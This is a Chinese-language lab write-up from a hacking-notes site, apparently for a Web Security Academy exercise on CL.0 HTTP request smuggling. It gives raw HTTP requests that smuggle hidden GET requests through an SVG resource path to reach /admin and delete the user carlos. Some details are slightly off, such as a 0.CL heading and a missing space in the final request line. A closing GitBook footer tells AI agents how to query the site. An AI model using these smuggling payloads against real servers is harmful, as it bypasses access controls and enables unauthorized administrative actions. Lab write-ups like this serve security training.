> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/cl-0-request-smuggling.md).
# CL.0 请求走私
### 0.CL 请求走私
#### **实验总结**
在这个场景中， **CL.0** 一个漏洞被利用，其中后端服务器 \*\* 对某些路径忽略 Content-Length\*\* 头。这种不一致使得可以将第二个请求注入到一个看似正常的 POST 请求正文中。
#### **漏洞点识别**
经过几次测试，我们发现该 URL：
```
/resources/images/blog.svg
```
在后端的处理方式不同：/ 即使 Content-Length 设置为 0，服务器也会接收到 **所有提供的内容**，这为基于 CL.0 的走私创造了完美的窗口。
#### **注入隐藏请求**
首先发送一个最小化的 POST 请求来确认这种行为：
```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 0
```
接下来，我们利用后端无论如何都会读取其内容这一事实 **走私第二个请求**，目标是到达管理面板：
```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26
GET /admin HTTP/1.1
测试：A
```
后端将注入的部分解释为一个独立请求，使我们能够绕过前端限制。
#### **删除 Carlos 用户**
一旦确认可以访问管理面板，就注入类似的请求来触发该操作：
```http
/admin/delete?username=carlos
```
这会得到：
```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26
GET /admin/delete?username=carlosHTTP/1.1
测试：A
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/cl-0-request-smuggling.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.